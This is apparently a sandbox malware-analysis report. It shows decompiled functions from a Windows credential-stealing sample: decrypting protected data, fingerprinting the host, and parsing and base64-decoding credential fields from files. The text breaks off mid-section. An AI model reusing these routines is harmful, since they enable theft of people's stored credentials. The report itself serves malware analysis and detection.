Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 131.6, APIs: 64, Strings: 11, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,006FEC80), ref: 00405705
lstrcat.KERNEL32(?,006FE518), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,006FEC90), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,007148C0), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00715EF8), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(x`q,00716078), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(x`q,00715E68), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(x`q,00714820), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(007148A0,007148A0), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(x`q,00715E20), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(x`q,00715E38), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,00712748,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,007180B8,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(x`q,00715E50), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(007003B0,007003B0), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0071A0A0,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,00718DE8,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(007003C0,007003C0), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(006F7088,006F7088), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(x`q,00715F58), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(x`q,00714A60), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(x`q,00716030), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(00716090,00716090), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00715F10,00715F10), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(x`q,00716048), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00717078,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00718F50,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(006F7098,006F7098), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(007149A0,007149A0), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,00715810,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

P^q, xrefs: 004058C3
H`q, xrefs: 00405A43
0`q, xrefs: 004059B4
Hq, xrefs: 00405804
x`q, xrefs: 004057AB, 004057DB, 0040580B, 0040586A, 0040589A, 004058C9, 0040595B, 0040598B, 004059BA, 00405A49, 004057AE, 004057DE, 0040580E, 0040586D, 0040589D, 004058CC, 0040595E, 0040598E, 004059BD, 00405A4C
^q, xrefs: 00405863
h^q, xrefs: 004057D4
`Jq, xrefs: 00405984
8^q, xrefs: 00405893
X_q, xrefs: 00405954
x`q, xrefs: 004057A5

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: Hq$ ^q$0`q$8^q$H`q$P^q$X_q$`Jq$h^q$x`q$x`q
API String ID: 1685704716-438545066
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 66.7, APIs: 34, Strings: 4, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, char _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t1 =  &_a12; // 0x717028
				_t59 =  *0x41a81c( *_t1);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						_t5 =  &_a12; // 0x717028
						 *0x41aa24( &_v284,  *_t5);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x717b80
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x717b98
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x717b98
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x717bb0
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x715610
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x7157a0
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x715700
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x718678
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x718678
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x7185d8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x715620
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x7185d8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x7185d8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x718910
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x715640
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906a
0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090aa
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,(pq), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00717B80), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00717B98), ref: 004091A9
lstrlen.KERNEL32(00717B98), ref: 004091C9
StrStrA.SHLWAPI(00000000,00717BB0), ref: 004091ED
lstrcat.KERNEL32(00000000,00715610), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,007157A0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00715700), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,00718678), ref: 004092BA
lstrlen.KERNEL32(00718678), ref: 004092C8
StrStrA.SHLWAPI(00000000,007185D8), ref: 004092E6
lstrcat.KERNEL32(00000000,00715620), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,007185D8), ref: 00409350
lstrlen.KERNEL32(007185D8), ref: 0040935E
StrStrA.SHLWAPI(00000000,00718910), ref: 0040937C
lstrcat.KERNEL32(00000000,00715640), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

(pq, xrefs: 0040906A, 004090AA, 0040906D, 004090AD
, xrefs: 0040908F
Vq, xrefs: 004092FE
@Vq, xrefs: 00409394

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $ Vq$(pq$@Vq
API String ID: 3141130001-2829357702
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,007156A0), ref: 00407EF9
lstrcat.KERNEL32(?,007156E0), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,007156A0), ref: 00407F58
lstrcat.KERNEL32(?,007156E0), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Strings

Vq, xrefs: 00407F11, 00407F70

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: Vq
API String ID: 3067815791-802303972
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(007174A8), ref: 00406CAA

Strings

